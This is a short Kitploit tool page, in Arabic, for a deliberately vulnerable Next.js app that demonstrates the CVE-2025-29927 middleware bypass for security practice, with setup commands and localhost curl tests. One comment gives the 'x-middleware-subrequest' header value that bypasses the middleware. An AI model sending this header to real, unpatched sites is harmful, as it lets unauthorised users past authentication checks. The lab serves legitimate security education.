Vuln-Next.js-CVE-2025-29927 — تطبيق Next.js ضعيف عمداً يوضح ثغرة CVE-2025-29927 في تجاوز الوسيطة (middleware bypass) لأغراض اختبار الأمان والممارسة التعليمية. | Kitploit

npx [email protected]

تثبيت الحزم

npm install -D @types/bcrypt
npm install mysql2 
npm install jose
npm install -D @types/jsonwebtoken

تحضير قاعدة البيانات

CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(255) UNIQUE NOT NULL,
  password VARCHAR(255) NOT NULL 
);

التشغيل

npm run dev

# تسجيل بعض المستخدمين للاختبار.
curl http://localhost:3000/api/register

# استعلام لوحة التحكم مع أو بدون الرأس:
# "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
curl http://localhost:3000/dashboard

تنزيل الأداة

Vuln-Next.js-CVE-2025-29927

الأكثر شعبية

تثبيت الحزم

تحضير قاعدة البيانات

التشغيل